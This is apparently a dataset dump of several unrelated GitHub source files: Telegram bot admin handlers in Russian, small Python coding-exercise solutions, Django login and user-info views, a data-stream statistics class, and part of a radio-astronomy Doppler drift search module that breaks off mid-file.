FSMAdmin_mm.number_del.set()\n await message.reply('Введите номер сообщения, которое хотите удалить')\n\n\nasync def del_morning_number(message: types.Message, state: FSMContext):\n if message.from_user.id in await sqlite_db.other_admins():\n async with state.proxy() as data:\n try:\n number = int(message.text)\n index = await sqlite_db.check_number_morning_message(number, data['chat'])\n if index:\n\n await sqlite_db.delete_one_morning_messages_of_chat(data['chat'], number)\n await message.reply('Сообщение удалено.')\n await state.finish()\n else:\n await message.reply('''Сообщения с таким индексом нет в БД.\\\n Введи id верно или /cancel, чтобы выйти''')\n except Exception as e:\n await message.reply('Что-то пошло не так. Попробуй команду еще раз и введи данные правильно!')\n logging.error(f'Ошибка:{e}')\n await state.finish()\n return None\n\n\nasync def update_morning(message: types.Message):\n if message.from_user.id in await sqlite_db.other_admins():\n await FSMAdmin_mm.number_update.set()\n await message.reply('''Введите номер сообщения, которое хотите поменять, решетку, новое сообщение. \n \\nНапример: 1#Доброе утро''')\n\n\nasync def update_morning_number(message: types.Message, state: FSMContext):\n if message.from_user.id in await sqlite_db.other_admins():\n async with state.proxy() as data:\n try:\n info_fo_db = message.text.split('#')\n number_user = info_fo_db[0]\n index = await sqlite_db.check_number_morning_message(number_user, data['chat'])\n if index:\n await sqlite_db.update_one_morning(info_fo_db, data['chat'])\n await message.reply('Сообщение изменено')\n await state.finish()\n else:\n await message.reply('''Сообщения с таким индексом нет в БД.\\\n Введи id верно или /cancel, чтобы выйти''')\n except Exception as e:\n await message.reply('Что-то пошло не так. Попробуй команду еще раз и введи данные правильно!')\n logging.error(f'Ошибка:{e}')\n await state.finish()\n return None\n\n\nasync def add_morning(message: types.Message):\n if message.from_user.id in await sqlite_db.other_admins():\n await FSMAdmin_mm.add.set()\n await message.reply('Введите сообщение, которое хотите добавить')\n\n\nasync def add_morning_new(message: types.Message, state: FSMContext):\n if message.from_user.id in await sqlite_db.other_admins():\n async with state.proxy() as data:\n try:\n new_message = message.text\n id = await sqlite_db.last_id_morning(data['chat'])\n await sqlite_db.add_one_morning(id, new_message, data['chat'])\n await message.reply('Сообщение добавлено')\n except (TypeError, ValueError) as e:\n await message.reply('Что-то пошло не так. Попробуй команду еще раз и введи данные правильно!')\n logging.error(f'Ошибка:{e}')\n await state.finish()\n return None\n await state.finish()\n\n\nclass FSMAdmin_nm(StatesGroup):\n choose_chat_night = State()\n option = State()\n number_del = State()\n night_message = State()\n number_update = State()\n add = State()\n\n\nasync def option_night(message: types.Message, state: FSMContext):\n \"\"\"\n Изменение ночных сообщений\n Доступно ДА\n Возможности: Удалить одно, Изменить одно, Добавить одно, Перезаписать сразу все\n ДА, который управляет несколькими чатами, сначала вводит id чата, в котором собирается произвести изменения.\n ДА, который управляет одним чатом, сразу вносит изменения.\n \"\"\"\n if message.from_user.id in await sqlite_db.other_admins():\n chats_list = await sqlite_db.get_chats_of_admin_from_db(message.from_user.id)\n \"\"\"Проверяем, сколькими чатами управляет пользователь\"\"\"\n if len(chats_list) == 1:\n async with state.proxy() as data:\n data['chat'] = chats_list[0]\n await FSMAdmin_nm.option.set()\n await bot.send_message(message.from_user.id, 'Доступные ночные сообщения:')\n info = await sqlite_db.get_messages_night(data['chat'])\n for i in info:\n await bot.send_message(message.from_user.id, i)\n await message.reply('''Введите команду \n \\n/del - удалить одно из сообщений. \n \\n/one - изменить одно из сообщений. \n \\n/add - добавить новое сообщение. \n \\n/all - обновить все сообщения сразу.\n \\n/cancel - выйти.''')\n else:\n await message.reply(f'''Вы управляете чатами с id {chats_list}. Введите номер чата, который хотите изменить\n \\n/cancel, чтобы выйти''')\n await FSMAdmin_nm.choose_chat_night.set()\n\n\nasync def choose_chat_night(message: types.Message, state: FSMContext):\n \"\"\"Дополнительный этап, где пользователь, управляющий сразу несколькими группами,\n ввродит чат, который именно хочет изменить\"\"\"\n if message.from_user.id in await sqlite_db.other_admins():\n try:\n int(message.text)\n chats_list = await sqlite_db.get_chats_of_admin_from_db(message.from_user.id)\n async with state.proxy() as data:\n if int(message.text) in chats_list:\n data['chat'] = int(message.text)\n await bot.send_message(message.from_user.id, 'Доступные ночные сообщения:')\n info = await sqlite_db.get_messages_night(data['chat'])\n for i in info:\n await bot.send_message(message.from_user.id, i)\n await message.reply('''Введите команду \n \\n/del - удалить одно из сообщений. \n \\n/one - изменить одно из сообщений. \n \\n/add - добавить новое сообщение. \n \\n/all - обновить все сообщения сразу.\n \\n/cancel - выйти.''')\n await FSMAdmin_nm.option.set()\n else:\n await message.reply('Чат введен неверно. Введи id снова или /cancel')\n except ValueError as e:\n await message.reply('Введены некорректные данные. Введи id снова или /cancel')\n logging.error(f'Ошибка:{e}')\n\n\nasync def change_night_all(message: types.Message):\n if message.from_user.id in await sqlite_db.other_admins():\n await FSMAdmin_nm.night_message.set()\n await message.reply('''Введи новые ночные сообщения. \n \\nМежду фразами поставь символ # и отправь за все вместе за один раз. \n \\nНапример: Доброй ночи#CHAO#Buenas noches''')\n\n\nasync def receive_night_all(message: types.Message, state: FSMContext):\n if message.from_user.id in await sqlite_db.other_admins():\n async with state.proxy() as data:\n try:\n messages = message.text.split('#')\n info_for_db = [[messages.index(i)+1, i] for i in messages]\n await sqlite_db.delete_all_night_messages_of_chat(data['chat'])\n await sqlite_db.insert_many_night(info_for_db, data['chat'])\n await message.reply('Сообщения добавлены')\n except (TypeError, ValueError) as e:\n await message.reply('Что-то пошло не так. Попробуй команду еще раз и введи данные правильно!')\n logging.error(f'Ошибка:{e}')\n await state.finish()\n return None\n await state.finish()\n\n\nasync def del_night(message: types.Message):\n if message.from_user.id in await sqlite_db.other_admins():\n await FSMAdmin_nm.number_del.set()\n await message.reply('Введите номер сообщения, которое хотите удалить')\n\n\nasync def del_night_number(message: types.Message, state: FSMContext):\n if message.from_user.id in await sqlite_db.other_admins():\n async with state.proxy() as data:\n try:\n number = int(message.text)\n index = await sqlite_db.check_number_night_message(number, data['chat'])\n if index:\n await sqlite_db.delete_one_night_messages_of_chat(data['chat'], number)\n await message.reply('Сообщение удалено.')\n await state.finish()\n else:\n await message.reply('''Сообщения с таким индексом нет в БД.\\\n Введи id верно или /cancel, чтобы выйти''')\n except (TypeError, ValueError) as e:\n await message.reply('Что-то пошло не так. Попробуй команду еще раз и введи данные правильно!')\n logging.error(f'Ошибка:{e}')\n await state.finish()\n return None\n\n\nasync def update_night(message: types.Message):\n if message.from_user.id in await sqlite_db.other_admins():\n await FSMAdmin_nm.number_update.set()\n await message.reply('''Введите номер сообщения, которое хотите поменять, решетку, новое сообщение.\n \\nНапример: 1#Доброй ночи''')\n\n\nasync def update_night_number(message: types.Message, state: FSMContext):\n if message.from_user.id in await sqlite_db.other_admins():\n async with state.proxy() as data:\n try:\n info_for_db = message.text.split('#')\n number_user = info_for_db[0]\n index = await sqlite_db.check_number_night_message(number_user, data['chat'])\n if index:\n await sqlite_db.update_one_night(info_for_db, data['chat'])\n await message.reply('Сообщение изменено')\n await state.finish()\n else:\n await message.reply('''Сообщения с таким индексом нет в БД.\\\n Введи id верно или /cancel, чтобы выйти''')\n except Exception as e:\n await message.reply('Что-то пошло не так. Попробуй команду еще раз и введи данные правильно!')\n logging.error(f'Ошибка:{e}')\n await state.finish()\n return None\n\n\nasync def add_night(message: types.Message):\n if message.from_user.id in await sqlite_db.other_admins():\n await FSMAdmin_nm.add.set()\n await message.reply('Введите сообщение, которое хотите добавить')\n\n\nasync def add_night_new(message: types.Message, state: FSMContext):\n if message.from_user.id in await sqlite_db.other_admins():\n async with state.proxy() as data:\n try:\n new_message = message.text\n id = await sqlite_db.last_id_night(data['chat'])\n await sqlite_db.add_one_night(id, new_message, data['chat'])\n await message.reply('Сообщение добавлено')\n except (TypeError, ValueError) as e:\n await message.reply('Что-то пошло не так. Попробуй команду еще раз и введи данные правильно!')\n logging.error(f'Ошибка:{e}')\n await state.finish()\n return None\n await state.finish()\n\n\nasync def bot_is_member(message: types.Message):\n \"\"\"\n Отслеживаем добавление бота в чат, чтобы получать id чата от самого бота, не добавляя сторонних ботов\n \"\"\"\n bot_obj = await bot.get_me()\n bot_id = bot_obj.id\n\n for chat_member in message.new_chat_members:\n if chat_member.id == bot_id:\n chat_id = message.chat.id\n chat_title = message.chat.title\n main_id = await sqlite_db.main_id()\n if main_id:\n await bot.send_message(main_id, f'''Бот добавлен в чат {chat_title} с id {chat_id}.\n \\nНе забудьте сделать бота администратором в данном чате\\\n и добавить сам чат в бота! /add_chat''')\n\n\nasync def bot_is_not_member(message: types.Message):\n \"\"\"\n Отслеживаем удаление бота из чата, автоматически удаляем все данные по этому чату из БД.\n \"\"\"\n bot_obj = await bot.get_me()\n bot_id = bot_obj.id\n chat_id = message.chat.id\n\n if message.left_chat_member.id == bot_id:\n info = await sqlite_db.check_if_exists_chat()\n if info and chat_id in [int(i[0]) for i in info]:\n chat_title = message.chat.title\n # удаляем из бд чатов\n await sqlite_db.del_chat(chat_id)\n # удаляем из сообщений\n await sqlite_db.delete_all_morning_messages_of_chat(chat_id)\n await sqlite_db.delete_all_night_messages_of_chat(chat_id)\n # удаляем из шедулера\n await other.del_job_from_scheduler(chat_id)\n\n main_id = await sqlite_db.main_id()\n if main_id:\n await bot.send_message(main_id, f'''Бот удален из чата {chat_title} с id {chat_id}.\n \\nБот не будет работать в этом чате''')\n\n\nasync def migrate_to_chat(message: types.Message):\n \"\"\"\n Отслеживаем миграцию чата в другой статус и изменение его id.\n Старый и новый id находятся по отдельности.\n Поэтому обмен происходит поэтапно с созданием вспомогательной таблицы.\n Здесь находим новый id, создаем таблицу БД для последующего обмена и вносим новый id.\n \"\"\"\n new_chat_id = message.migrate_to_chat_id\n name = message.chat.title\n await sqlite_db.table_for_exchange(new_chat_id, name)\n\n\nasync def migrate_from_chat(message: types.Message):\n \"\"\"\n Отслеживаем миграцию чата в другой статус и изменение его id\n Здесь находим старый id. Вносим в БД.\n Если бот работал в этом чате, вызываем функцию, производящую изменения.\n \"\"\"\n old_chat_id = message.migrate_from_chat_id\n info_chat_from_db = sqlite_db.cur.execute('''SELECT * \n FROM chat_admin_time \n WHERE chat == ?''', (old_chat_id,)).fetchone()\n if info_chat_from_db is None:\n \"\"\"если бот и не работал в этом чате, просто состоял и словил апдейт\"\"\"\n sqlite_db.cur.execute('DELETE FROM exchange')\n sqlite_db.base.commit()\n else:\n sqlite_db.cur.execute('''UPDATE exchange \n SET old == ? \n WHERE id = ?''', (old_chat_id, 1))\n sqlite_db.base.commit()\n\n await change_after_migration()\n\n\nasync def change_after_migration():\n\n \"\"\"Обмен во всей БД старого id на новый, меняем шедулере и удаляем вспомогательную таблицу.\"\"\"\n\n info_for_exchange = sqlite_db.cur.execute('''SELECT * \n FROM exchange''').fetchone()\n old_id = info_for_exchange[0]\n new_id = info_for_exchange[1]\n name = info_for_exchange[3]\n main_id = await sqlite_db.main_id()\n\n try:\n info_chat_from_db = await sqlite_db.get_info_chat(old_id)\n\n await other.add_jobs_for_chat(new_id, info_chat_from_db[1], info_chat_from_db[2],\n info_chat_from_db[3], info_chat_from_db[4], info_chat_from_db[5], main_id)\n await other.del_job_from_scheduler(old_id)\n await sqlite_db.update_chat(new_id, old_id)\n sqlite_db.cur.execute('DELETE FROM exchange')\n sqlite_db.base.commit()\n await bot.send_message(main_id, f'''Чат {name} поменял id. Старое id: {old_id}. Новое id: {new_id}.\n \\nБот произвел изменения в базе данных, но скорее всего, \\\n потерял свои администраторские права в этом чате.\\\n Пожалуйста, проверьте, является ли бот до сих пор админом, \\\n для продолжения его корректной работы.''')\n except Exception as e:\n logging.error(f'Ошибка: {e}')\n await bot.send_message(main_id, f'''Чат {name} поменял id, но что-то пошло не так и база данных не обновилась автоматически.\n \\nПожалуйста, удалите самостоятельно из бота старый чат с id {old_id}.\n \\nИ добавьте новый id {new_id} для успешного продолжения работы бота.''')\n\n\ndef register_handlers_admin(dp):\n \"\"\"Регистрируем хэндлеры\"\"\"\n # общие команды\n dp.register_message_handler(start, commands='start')\n dp.register_message_handler(help, commands='help')\n dp.register_message_handler(cancel_handler, state=\"*\", commands='cancel')\n dp.register_message_handler(cancel_handler, Text(equals='отмена', ignore_case=True), state=\"*\")\n # команды СА/посмотреть чаты, где работает бот\n dp.register_message_handler(chats, commands='chats')\n # команды СА/добавить чат\n dp.register_message_handler(add_chat, commands='add_chat', state=None)\n dp.register_message_handler(receive_id_chat, state=FSMAdmin_chat_admin_add.add_chat)\n dp.register_message_handler(receive_id_admin, state=FSMAdmin_chat_admin_add.add_admin)\n # команды СА/удалить чат\n dp.register_message_handler(del_chat, commands='del_chat')\n dp.register_message_handler(receive_del_chat_id, state=FSMAdmin_del_chat.del_chat)\n # команды СА/изменить администратора в чате\n dp.register_message_handler(change_chat, commands='change_admin', state=None)\n dp.register_message_handler(receive_id_chat_change, state=FSMAdmin_change_admin.chat_id)\n dp.register_message_handler(receive_admin_change, state=FSMAdmin_change_admin.change_admin)\n # время\n dp.register_message_handler(change_time, commands='time', state=None)\n dp.register_message_handler(chat_for_change_time, state=FSMAdmin.choose_chat_time)\n dp.register_message_handler(morning_time, state=FSMAdmin.time_morning)\n dp.register_message_handler(night_time, state=FSMAdmin.time_night)\n # сообщения утренние\n dp.register_message_handler(option_morning, commands='morning', state=None)\n dp.register_message_handler(choose_chat_morning, state=FSMAdmin_mm.choose_chat_morning)\n dp.register_message_handler(change_morning_all, commands='all', state=FSMAdmin_mm.option)\n dp.register_message_handler(receive_morning_all, state=FSMAdmin_mm.morning_message)\n dp.register_message_handler(del_morning, commands='del', state=FSMAdmin_mm.option)\n dp.register_message_handler(del_morning_number, state=FSMAdmin_mm.number_del)\n dp.register_message_handler(update_morning, commands='one', state=FSMAdmin_mm.option)\n dp.register_message_handler(update_morning_number, state=FSMAdmin_mm.number_update)\n dp.register_message_handler(add_morning, commands='add', state=FSMAdmin_mm.option)\n dp.register_message_handler(add_morning_new, state=FSMAdmin_mm.add)\n # сообщения ночные\n dp.register_message_handler(option_night, commands='night', state=None)\n dp.register_message_handler(choose_chat_night, state=FSMAdmin_nm.choose_chat_night)\n dp.register_message_handler(change_night_all, commands='all', state=FSMAdmin_nm.option)\n dp.register_message_handler(receive_night_all, state=FSMAdmin_nm.night_message)\n dp.register_message_handler(del_night, commands='del', state=FSMAdmin_nm.option)\n dp.register_message_handler(del_night_number, state=FSMAdmin_nm.number_del)\n dp.register_message_handler(update_night, commands='one', state=FSMAdmin_nm.option)\n dp.register_message_handler(update_night_number, state=FSMAdmin_nm.number_update)\n dp.register_message_handler(add_night, commands='add', state=FSMAdmin_nm.option)\n dp.register_message_handler(add_night_new, state=FSMAdmin_nm.add)\n # добавление и удаление бота в чат\n dp.register_message_handler(bot_is_member, content_types=['new_chat_members'])\n dp.register_message_handler(bot_is_not_member, content_types=['left_chat_member'])\n # миграция группы в супергруппу и изменение id\n dp.register_message_handler(migrate_from_chat, content_types=['migrate_from_chat_id'])\n dp.register_message_handler(migrate_to_chat, content_types=['migrate_to_chat_id'])\n","repo_name":"smirnyagga/TG_bot_ALERT","sub_path":"handlers/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":52525,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"38246650519","text":"import sys\ninput=sys.stdin.readline\n\n# 구현/한 줄로 서기/실버2\n\nn = int(input())\nheight = list(map(int,input().split()))\nseat = [0] * n\n\nfor i in range(n):\n cnt = 0\n for j in range(n):\n if cnt == height[i] and seat[j] == 0:\n seat[j] = str(i+1)\n break\n elif seat[j] == 0:\n cnt+=1\n\nprint(' '.join(seat))","repo_name":"coolOlive/TIL","sub_path":"코딩테스트 공부/2212/221216_백준[1138].py","file_name":"221216_백준[1138].py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"39826939442","text":"import sys\r\nfrom functools import lru_cache\r\nsys.setrecursionlimit(100000)\r\n\r\n\r\n@lru_cache()\r\ndef f(x, y):\r\n if x == y:\r\n return 1\r\n if x > y:\r\n return 0\r\n return f(x + 1, y) + f(x + 5, y) + f(x * 3, y)\r\n\r\n\r\nc = 0\r\nfor i in range(1000, 1025):\r\n if f(1, i) == 8:\r\n c += 1\r\n\r\nprint(c)","repo_name":"fptitsyn/probnik2702","sub_path":"23.py","file_name":"23.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"21480824862","text":"import random\nimport string\nimport hashlib\nfrom django.shortcuts import render,HttpResponse,redirect\nfrom django.urls import reverse\n\nfrom home.models import *\nfrom yanzhengma.image import ImageCaptcha\n\n\n\ndef login(request):\n name_cook=request.COOKIES.get('name')\n if name_cook:\n if TUser.objects.filter(username=name_cook):\n ur=reverse('home:index')\n return redirect(ur+'?name='+name_cook)\n return render(request,'login.html')\n\ndef login_logic(request):\n name=request.POST.get('name')\n pwd=request.POST.get('pwd')\n capt=request.POST.get('capt')\n cook=request.POST.get('cook')\n captr=request.session.get('logcapt')\n url=request.session.get('url')\n\n if capt.upper()==captr.upper():\n # req = HttpResponse(reverse('home:index'))\n salt=TUser.objects.filter(username=name)\n if salt:\n salt = TUser.objects.filter(username=name)[0].salt\n pwdadd = pwd + salt\n sha = hashlib.md5()\n sha.update(pwdadd.encode())\n pwdaddmi = sha.hexdigest()\n if TUser.objects.filter(username=name, password=pwdaddmi, salt=salt):\n if TUser.objects.filter(username=name, password=pwdaddmi, salt=salt)[0].is_active:\n if '?' in url:\n req = HttpResponse(url + '&name=' + name)\n else:\n req = HttpResponse(url + '?name=' + name)\n if cook:\n name = req.set_cookie('name', name, max_age=7 * 24 * 3600)\n return req\n else:\n return HttpResponse('1')\n else:\n return HttpResponse('0')\n return HttpResponse('0')\n\n\ndef getcapt(request):\n str1=''.join(random.sample(string.ascii_letters+string.digits,4))\n capt=ImageCaptcha().generate(str1)\n request.session['logcapt']=str1\n return HttpResponse(capt,'image/png')","repo_name":"linzhiwen799225778/falungong","sub_path":"dangdang02/login/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"12627472516","text":"from receiver.min_and_max_generator import get_max_and_min_values\nfrom receiver.data_reader import ReceiverDataHandler\nfrom receiver.simple_moving_average_generator import average_of_last_five_values\n\n\nclass Streamer(ReceiverDataHandler):\n def __init__(self):\n super().__init__()\n self.parameters_with_corresponding_readings()\n\n def stream_min_and_max_readings(self):\n for param, readings in self.params_and_readings_dict.items():\n _min, _max = get_max_and_min_values(readings)\n print(\"{}_minimum: {}\".format(param, _min))\n print(\"{}_maximum: {}\".format(param, _max))\n\n def stream_sma_of_last_five_readings(self):\n for param, readings in self.params_and_readings_dict.items():\n average = average_of_last_five_values(readings)\n print(\"{}_SMA: {}\".format(param, average))\n","repo_name":"clean-code-craft-tcq-4/stream-line-VaniKayam","sub_path":"receiver/data_streamer.py","file_name":"data_streamer.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"21549971318","text":"from django.shortcuts import render\nfrom Hosts.models import *\n\ndef infoUsuario(request):\n username = request.user.username\n ultimoLogin = request.user.last_login\n dateJoined = request.user.date_joined\n permissoes = request.user.get_user_permissions\n staff = request.user.is_staff\n superuser = request.user.is_superuser\n hosts = Host.objects.count()\n portas = Porta.objects.count()\n context = {\n 'username': username,\n 'ultimoLogin': ultimoLogin,\n 'dateJoined': dateJoined,\n 'permissoes': permissoes,\n 'staff': staff,\n 'superuser': superuser,\n 'hosts': hosts,\n 'portas':portas\n }\n return render(request, 'infoUsuario.html', context)\n","repo_name":"adson-matheus/smhosts","sub_path":"Usuario/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"2301253927","text":"#!/usr/bin/env python\n\n\nimport numpy as np\nimport sys\nimport os\nimport logging\nlogger = logging.getLogger(__name__)\nimport gc #Garbage collector.\n\nfrom .data_handler import DATAHandle\nfrom .file_writers import FileWriter, LogWriter\nfrom .helper_functions import *\n\n#For importing cython code\nimport pyximport\npyximport.install(setup_args={\"include_dirs\":np.get_include()}, reload_support=True)\n\ntry:\n from . import taylor_tree as tt\nexcept:\n import taylor_tree as tt\n\n#For debugging\n#import pdb;# pdb.set_trace()\nclass max_vals:\n \"\"\" \"\"\"\n def __init__(self):\n self.maxsnr = None\n self.maxdrift = None\n self.maxsmooth = None\n self.maxid = None\n self.total_n_hits = None\n\nclass hist_vals:\n \"\"\"Temporary class that saved the normalized spectrum for all drift rates.\"\"\"\n def __init__(self):\n self.histsnr = None\n self.histdrift = None\n self.histid = None\n\nclass FindDoppler:\n \"\"\" \"\"\"\n def __init__(self, datafile, max_drift, min_drift=0, snr=25.0, out_dir='./', coarse_chans=None, obs_info=None, flagging=None, n_coarse_chan=None):\n \"\"\"\n Initializes FindDoppler object\n\n Args:\n datafile (string): Inputted filename (.h5 or .fil)\n max_drift (float): Max drift rate in Hz/second\n min_drift (int): Min drift rate in Hz/second\n snr (float): Signal to Noise Ratio - A ratio bigger than 1 to 1 has more signal than noise\n out_dir (string): Directory where output files should be placed. By default this is the\n current working directory.\n coarse_chans (list(int)): the inputted comma separated list of coarse channels to analyze, if any.\n obs_info (dict): Used to hold info found on file, including info about pulsars, RFI, and SEFD\n flagging (bool): Flags the edges of the PFF for BL data (with 3Hz res per channel)\n n_coarse_chan (int): Number of coarse channels in file\n \"\"\"\n self.min_drift = min_drift\n self.max_drift = max_drift\n self.snr = snr\n self.out_dir = out_dir\n\n self.data_handle = DATAHandle(datafile, out_dir=out_dir, n_coarse_chan=n_coarse_chan, coarse_chans=coarse_chans)\n if (self.data_handle is None) or (self.data_handle.status is False):\n raise IOError(\"File error, aborting...\")\n\n logger.info(self.data_handle.get_info())\n logger.info(\"A new FinDoppler instance created!\")\n\n if obs_info is None:\n obs_info = {}\n obs_info['pulsar'] = 0 # Bool if pulsar detection.\n obs_info['pulsar_found'] = 0 # Bool if pulsar detection.\n obs_info['pulsar_dm'] = 0.0 # Pulsar expected DM.\n obs_info['pulsar_snr'] = 0.0 # Signal toNoise Ratio (SNR)\n obs_info['pulsar_stats'] = np.zeros(6)\n obs_info['RFI_level'] = 0.0 # Radio Frequency Interference\n obs_info['Mean_SEFD'] = 0.0 # Mean System Equivalent Flux Density\n obs_info['psrflux_Sens'] = 0.0\n obs_info['SEFDs_val'] = [0.0] # System Equivalent Flux Density values\n obs_info['SEFDs_freq'] = [0.0] # System Equivalent Flux Density frequency\n obs_info['SEFDs_freq_up'] = [0.0]\n\n self.obs_info = obs_info\n\n self.status = True\n self.flagging = flagging\n\n def get_info(self):\n \"\"\"Generate info string\n\n Args:\n\n Returns:\n : String that contains the values of this FinDoppler object's attributes.\n\n \"\"\"\n info_str = \"File: %s\\n drift rates (min, max): (%f, %f)\\n SNR: %f\\n\"%(self.data_handle.filename, self.min_drift, self.max_drift,self.snr)\n return info_str\n\n def search(self):\n \"\"\"Top level search routine\"\"\"\n logger.debug(\"Start searching...\")\n logger.debug(self.get_info())\n\n self.logwriter = LogWriter('%s/%s.log'%(self.out_dir.rstrip('/'),\n self.data_handle.data_list[0].filename.split('/')[-1].replace('.h5','').replace('.fits','').replace('.fil','')))\n self.filewriter = FileWriter('%s/%s.dat'%(self.out_dir.rstrip('/'),\n self.data_handle.data_list[0].filename.split('/')[-1].replace('.h5','').replace('.fits','').replace('.fil','')),\n self.data_handle.data_list[0].header)\n\n logger.info(\"Start ET search for %s\"%self.data_handle.data_list[0].filename)\n self.logwriter.info(\"Start ET search for %s\"%(self.data_handle.data_list[0].filename))\n\n for ii,target_data_obj in enumerate(self.data_handle.data_list):\n self.search_data(target_data_obj)\n self.data_handle.data_list[ii].close()\n gc.collect()\n\n def search_data(self, data_obj):\n \"\"\"Search the waterfall data of a data handler (coarse channel).\n\n Args:\n data_obj(DATAH5): File's waterfall data handler\n\n Returns:\n\n \"\"\"\n logger.info(\"Start searching for coarse channel: %s\"%data_obj.header['coarse_chan'])\n self.logwriter.info(\"Start searching for %s ; coarse channel: %i \"%(data_obj.filename,data_obj.header['coarse_chan']))\n spectra, drift_indices = data_obj.load_data()\n tsteps = data_obj.tsteps\n tsteps_valid = data_obj.tsteps_valid\n tdwidth = data_obj.tdwidth\n fftlen = data_obj.fftlen\n nframes = tsteps_valid\n shoulder_size = data_obj.shoulder_size\n\n if self.flagging:\n ##EE This flags the edges of the PFF for BL data (with 3Hz res per channel).\n ##EE The PFF flat profile falls after around 100k channels.\n ##EE But it falls slowly enough that could use 50-80k channels.\n median_flag = np.median(spectra)\n# spectra[:,:80000] = median_flag/float(tsteps)\n# spectra[:,-80000:] = median_flag/float(tsteps)\n\n ##EE Flagging spikes in time series.\n time_series=spectra.sum(axis=1)\n time_series_median = np.median(time_series)\n mask=(time_series-time_series_median)/time_series.std() > 10 #Flagging spikes > 10 in SNR\n\n if mask.any():\n self.logwriter.info(\"Found spikes in the time series. Removing ...\")\n spectra[mask,:] = time_series_median/float(fftlen) # So that the value is not the median in the time_series.\n\n else:\n median_flag = np.array([0])\n\n # allocate array for findopplering\n # init findopplering array to zero\n tree_findoppler = np.zeros(tsteps * tdwidth,dtype=np.float64) + median_flag\n\n # allocate array for holding original\n # Allocates array in a fast way (without initialize)\n tree_findoppler_original = np.empty_like(tree_findoppler)\n\n # allocate array for negative doppler rates\n tree_findoppler_flip = np.empty_like(tree_findoppler)\n\n # build index mask for in-place tree doppler correction\n ibrev = np.zeros(tsteps, dtype=np.int32)\n\n for i in range(0, tsteps):\n ibrev[i] = bitrev(i, int(np.log2(tsteps)))\n\n##EE: should double check if tdwidth is really better than fftlen here.\n max_val = max_vals()\n if max_val.maxsnr == None:\n max_val.maxsnr = np.zeros(tdwidth, dtype=np.float64)\n if max_val.maxdrift == None:\n max_val.maxdrift = np.zeros(tdwidth, dtype=np.float64)\n if max_val.maxsmooth == None:\n max_val.maxsmooth = np.zeros(tdwidth, dtype='uint8')\n if max_val.maxid == None:\n max_val.maxid = np.zeros(tdwidth, dtype='uint32')\n if max_val.total_n_hits == None:\n max_val.total_n_hits = 0\n\n #EE: Making \"shoulders\" to avoid \"edge effects\". Could do further testing.\n specstart = int(tsteps*shoulder_size/2)\n specend = tdwidth - (tsteps * shoulder_size)\n\n #--------------------------------\n #Stats calc\n self.the_mean_val, self.the_stddev = comp_stats(spectra.sum(axis=0))\n\n #--------------------------------\n #Looping over drift_rate_nblock\n #--------------------------------\n drift_rate_nblock = int(np.floor(self.max_drift / (data_obj.drift_rate_resolution*tsteps_valid)))\n\n##EE-debuging kk = 0\n\n for drift_block in range(-1*drift_rate_nblock,drift_rate_nblock+1):\n logger.debug( \"Drift_block %i\"%drift_block)\n\n #----------------------------------------------------------------------\n # Negative drift rates search.\n #----------------------------------------------------------------------\n if drift_block <= 0:\n\n #Populates the find_doppler tree with the spectra\n populate_tree(spectra,tree_findoppler,nframes,tdwidth,tsteps,fftlen,shoulder_size,roll=drift_block,reverse=1)\n\n # populate original array\n np.copyto(tree_findoppler_original, tree_findoppler)\n\n # populate neg doppler array\n np.copyto(tree_findoppler_flip, tree_findoppler_original)\n \n # Flip matrix across X dimension to search negative doppler drift rates\n FlipX(tree_findoppler_flip, tdwidth, tsteps)\n logger.info(\"Doppler correcting reverse...\")\n tt.taylor_flt(tree_findoppler_flip, tsteps * tdwidth, tsteps)\n logger.debug( \"done...\")\n \n complete_drift_range = data_obj.drift_rate_resolution*np.array(range(-1*tsteps_valid*(np.abs(drift_block)+1)+1,-1*tsteps_valid*(np.abs(drift_block))+1))\n for k,drift_rate in enumerate(complete_drift_range[(complete_drift_range=-1*self.max_drift)]):\n # indx = ibrev[drift_indices[::-1][k]] * tdwidth\n\n # DCP 2020.04 -- WAR to drift rate in flipped files\n if data_obj.header['DELTAF'] < 0:\n drift_rate *= -1\n\n indx = ibrev[drift_indices[::-1][(complete_drift_range=-1*self.max_drift)][k]] * tdwidth\n\n # SEARCH NEGATIVE DRIFT RATES\n spectrum = tree_findoppler_flip[indx: indx + tdwidth]\n\n # normalize\n spectrum -= self.the_mean_val\n spectrum /= self.the_stddev\n\n #Reverse spectrum back\n spectrum = spectrum[::-1]\n\n n_hits, max_val = hitsearch(spectrum, specstart, specend, self.snr, drift_rate, data_obj.header, fftlen, tdwidth, max_val, 0)\n info_str = \"Found %d hits at drift rate %15.15f\\n\"%(n_hits, drift_rate)\n max_val.total_n_hits += n_hits\n logger.debug(info_str)\n self.logwriter.info(info_str)\n\n #----------------------------------------------------------------------\n # Positive drift rates search.\n #----------------------------------------------------------------------\n if drift_block >= 0:\n\n #Populates the find_doppler tree with the spectra\n populate_tree(spectra,tree_findoppler,nframes,tdwidth,tsteps,fftlen,shoulder_size,\n roll=drift_block,reverse=1)\n\n # populate original array\n np.copyto(tree_findoppler_original, tree_findoppler)\n\n logger.info(\"Doppler correcting forward...\")\n tt.taylor_flt(tree_findoppler, tsteps * tdwidth, tsteps)\n logger.debug( \"done...\")\n if (tree_findoppler == tree_findoppler_original).all():\n logger.error(\"taylor_flt has no effect?\")\n else:\n logger.debug(\"tree_findoppler changed\")\n\n ##EE: Calculates the range of drift rates for a full drift block.\n complete_drift_range = data_obj.drift_rate_resolution*np.array(range(tsteps_valid*(drift_block),tsteps_valid*(drift_block +1)))\n\n for k,drift_rate in enumerate(complete_drift_range[(complete_drift_range>=self.min_drift) & (complete_drift_range<=self.max_drift)]):\n\n indx = ibrev[drift_indices[k]] * tdwidth\n\n #DCP 2020.04 -- WAR to drift rate in flipped 